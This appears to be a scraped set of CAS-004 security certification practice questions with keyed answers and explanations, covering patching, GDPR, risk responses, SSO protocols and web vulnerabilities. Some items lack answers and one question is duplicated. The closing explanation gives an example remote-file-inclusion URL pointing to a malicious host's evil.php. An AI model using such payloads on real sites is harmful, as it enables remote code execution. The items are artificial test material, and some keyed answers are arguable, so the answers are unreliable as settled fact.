Practice Free CAS-004 Exam Online Questions
A security analyst runs a vulnerability scan on a network administrator’s workstation The network administrator has direct administrative access to the company’s SSO web portal The vulnerability scan uncovers cntical vulnerabilities with equally high CVSS scores for the user’s browser, OS, email client and an offline password manager.
Which of the following should the security analyst patch FIRST?
- A . Email client
- B . Password manager
- C . Browser
- D . OS
C
Explanation:
The browser is the application that the security analyst should patch first, given that all the applications have equally high CVSS scores. CVSS stands for Common Vulnerability Scoring System, which is a method for measuring the severity of vulnerabilities based on various factors, such as access conditions, impact, and exploitability. CVSS scores range from 0 to 10, with higher scores indicating higher severity. However, CVSS scores alone are not sufficient to determine the patching priority, as they do not account for other factors, such as the likelihood of exploitation, the exposure of the system, or the criticality of the data. Therefore, the security analyst should also consider the context and the risk of each application when deciding which one to patch first. In this case, the browser is likely to be the most exposed and frequently used application by the network administrator, and also the most likely entry point for an attacker to compromise the system or access the SSO web portal. Therefore, patching the browser first can reduce the risk of a successful attack and protect the system and the data from further damage.
Verified Reference:
https://nvd.nist.gov/vuln-metrics/cvss
https://www.darkreading.com/risk/vulnerability-severity-scores-make-for-poor-patching-priority-researchers-find
A company based in the United States holds insurance details of EU citizens.
Which of the following must be adhered to when processing EU citizens’ personal, private, and confidential data?
- A . The principle of lawful, fair, and transparent processing
- B . The right to be forgotten principle of personal data erasure requests
- C . The non-repudiation and deniability principle
- D . The principle of encryption, obfuscation, and data masking
A company’s finance department acquired a new payment system that exports data to an unencrypted file on the system. The company implemented controls on the file so only appropriate personnel are allowed access.
Which of the following risk techniques did the department use in this situation?
- A . Accept
- B . Avoid
- C . Transfer
- D . Mitigate
D
Explanation:
Comprehensive and Detailed in-Depth
In cybersecurity and risk management, the four primary risk response techniques are: Accept:Choosing to acknowledge the risk without taking any measures to reduce it. This usually applies when the cost of mitigation outweighs the potential impact.
Avoid:Taking actions to completely eliminate the risk, such as discontinuing a risky activity or process.
Transfer:Shifting the risk to a third party, such as through insurance or outsourcing.
Mitigate:Implementing controls to reduce the impact or likelihood of the risk.
Why the Correct Answer is D (Mitigate):
The company’s finance department implementedaccess controlsto restrict data access to only authorized personnel.
Although the data is exported to anunencrypted file, therisk of unauthorized accessis reduced through the implementation of access control mechanisms.
This is a classic example ofrisk mitigation, where the company does not eliminate the risk entirely (since the file remains unencrypted) but reduces its potential impact through technical controls.
Why the Other Options Are Incorrect:
An organization is implementing a new identity and access management architecture with the following objectives:
Supporting MFA against on-premises infrastructure
Improving the user experience by integrating with SaaS applications
Applying risk-based policies based on location
Performing just-in-time provisioning
Which of the following authentication protocols should the organization implement to support these requirements?
- A . Kerberos and TACACS
- B . SAML and RADIUS
- C . OAuth and OpenID
- D . OTP and 802.1X
C
Explanation:
Reference: https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/migrate-application-authentication-to-azure-active-directory
OAuth and OpenID are two authentication protocols that can support the objectives of the organization. OAuth is a protocol that allows users to grant access to their resources on one site (or service) to another site (or service) without sharing their credentials. OpenID is a protocol that allows users to use an existing account to sign in to multiple websites without creating new passwords. Both protocols can support MFA, SaaS integration, risk-based policies, and just-in-time provisioning.
Reference: https://auth0.com/docs/protocols/oauth2 https://openid.net/connect/
A forensic investigator would use the foremost command for:
- A . cloning disks.
- B . analyzing network-captured packets.
- C . recovering lost files.
- D . extracting features such as email addresses
A forensic investigator would use the foremost command for:
- A . cloning disks.
- B . analyzing network-captured packets.
- C . recovering lost files.
- D . extracting features such as email addresses
A company has retained the services of a consultant to perform a security assessment. As part of the assessment the consultant recommends engaging with others in the industry to collaborate in regards to emerging attacks.
Which of the following would best enable this activity?
- A . ISAC
- B . OSINT
- C . CVSS
- D . Threat modeling
A
Explanation:
Information Sharing and Analysis Centers (ISACs) are member-driven organizations, facilitated by the government, that gather and share information on cybersecurity threats, vulnerabilities, and incidents among their members. Engaging with an ISAC would enable the company to collaborate with others in the industry regarding emerging attacks and security threats.
Which of the following technologies would benefit the most from the use of biometric readers proximity badge entry systems, and the use of hardware security tokens to access various environments and data entry systems?
- A . Deep learning
- B . Machine learning
- C . Nanotechnology
- D . Passwordless authentication
- E . Biometric impersonation
D
Explanation:
Passwordless authentication is an authentication method that does not require the user to enter a password. Instead, it relies on alternative forms of verification, such as biometric readers (fingerprint or facial recognition), proximity badge entry systems, and hardware security tokens. These technologies provide a means to authenticate users with higher assurance levels and would benefit the most from the use of the mentioned devices and methods.
A security analyst wants to keep track of alt outbound web connections from workstations. The analyst’s company uses an on-premises web filtering solution that forwards the outbound traffic to a perimeter firewall. When the security analyst gets the connection events from the firewall, the source IP of the outbound web traffic is the translated IP of the web filtering solution. Considering this scenario involving source NAT.
Which of the following would be the BEST option to inject in the HTTP header to include the real source IP from workstations?
- A . X-Forwarded-Proto
- B . X-Forwarded-For
- C . Cache-Control
- D . Strict-Transport-Security
- E . Content-Security-Policy
A security engineer notices the company website allows users following example:
hitps://mycompany.com/main.php?Country=US
Which of the following vulnerabilities would MOST likely affect this site?
- A . SQL injection
- B . Remote file inclusion
- C . Directory traversal –
- D . Unsecure references
B
Explanation:
Remote file inclusion (RFI) is a web vulnerability that allows an attacker to include malicious external files that are later run by the website or web application12. This can lead to code execution, data theft, defacement, or other malicious actions. RFI typically occurs when a web application dynamically references external scripts using user-supplied input without proper validation or sanitization23.
In this case, the website allows users to specify a country parameter in the URL that is used to include a file from another domain.
For example, an attacker could craft a URL like this: https://mycompany.com/main.php?Country=https://malicious.com/evil.php
This would cause the website to include and execute the evil.php file from the malicious domain, which could contain any arbitrary code3.